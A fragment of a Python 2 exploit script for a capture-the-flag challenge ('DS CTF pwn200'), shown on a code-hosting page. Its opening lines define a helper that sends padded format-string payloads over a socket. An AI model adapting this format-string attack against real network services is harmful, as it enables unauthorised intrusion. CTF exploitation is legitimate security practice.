This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#DS CTF pwn200 exploit by Bartol | |
from socket import * | |
import time,re,struct,sys | |
def send_fstring(fstring,sock): | |
fullstring='tan'+fstring | |
print ' * Sending: '+fullstring.ljust(63,"A") | |
sock.send(fullstring.ljust(63,"A")) | |
time.sleep(0.2) | |
sock.send("9\n") |